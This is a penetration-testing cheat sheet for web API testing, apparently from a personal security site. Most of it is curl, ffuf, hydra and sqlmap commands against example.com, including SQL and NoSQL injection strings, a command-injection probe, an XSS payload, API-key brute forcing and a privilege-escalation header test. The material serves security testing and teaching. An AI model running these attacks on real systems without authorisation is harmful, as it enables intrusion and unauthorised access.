Initializing VAULT-TEC OS...
Loading security protocols...
Establishing secure connection...
Connection established.
SYSTEM READY

Vault-Tec Terminal

ABOUT POSTS NOTES TOOLS

CheatSheets

CURL DNS File Transfer Hydra Impacket JohnTheRipper NCAT NMAP Online Resources Reverse Shell Wordlists

Active Directory

Mindmap Attacking AD Linux AD

Cloud

AWS Azure Google Terraform

Container

Docker Kubernetes

Linux

Penetration Testing Checklist Enumeration Privilege Escalation Post Exploitation Services Tools

Network

Data Exfiltration Port Scanning Reconnaissance Pivoting Services Traffic Analysis

Tech Stack

CMS Databases DevOps Enterprise Apps IAM Monitoring Open-Source Utilities Web Servers

Windows

AV/EDR Evasion Enumeration Privilege Escalation Post Exploitation

Web Application

Reconnaissance Common Vulnerabilities Authentication Bypass API Testing

Web Application API Testing

API Enumeration

# Discover endpoints
curl -X GET http://example.com/api/<API_ENDPOINT>

# Brute-force with ffuf
ffuf -u http://example.com/api/FUZZ -w wordlist.txt

# Check OpenAPI spec
curl http://example.com/api/swagger.json

# Use dirb for API paths
dirb http://example.com/api/ -r

# Enumerate with Arjun
arjun -u http://example.com/api -m GET

Authentication Testing

# Test API auth
curl -H "Authorization: Bearer <token>" http://example.com/api

# Brute-force API key
hydra -l apiuser -P apikeys.txt http://example.com/api -t 4

# Check token expiration
jwt_tool <token> -exp

# Test OAuth flow
curl -X POST -d "grant_type=password" http://example.com/oauth/token

Injection Testing

# Test SQL injection
curl "http://example.com/api/search?q=' OR 1=1 --"

# Test NoSQL injection
curl "http://example.com/api/search?q[]=[{'$gt':''}]"

# Test command injection
curl "http://example.com/api/exec?cmd=whoami"

# Use sqlmap for API
sqlmap -u http://example.com/api/search --data="q=test"

# Test XSS in JSON
curl -H "Content-Type: application/json" -d '{"input":"<script>alert(1)</script>"}' http://example.com/api

Business Logic Testing

# Test rate limits
for i in {1..100}; do curl http://example.com/api; sleep 1; done

# Check privilege escalation
curl -H "role:admin" http://example.com/api/admin

# Test idempotency
curl -X POST -d "action=delete" http://example.com/api

# Validate input bounds
curl -d "amount=1000000" http://example.com/api/transaction

Security Headers and Misconfigurations

# Check headers
curl -I http://example.com/api

# Test CORS
curl -H "Origin: http://attacker.com" -I http://example.com/api

# Check for exposed endpoints
nikto -h http://example.com/api

# Test HSTS bypass
curl -k https://example.com/api

Tools

  • ffuf: ffuf -u http://example.com/api/FUZZ -w wordlist.txt
  • sqlmap: sqlmap -u http://example.com/api
  • Postman: manual API testing
  • Arjun: arjun -u http://example.com/api
  • jwt_tool: jwt_tool <token>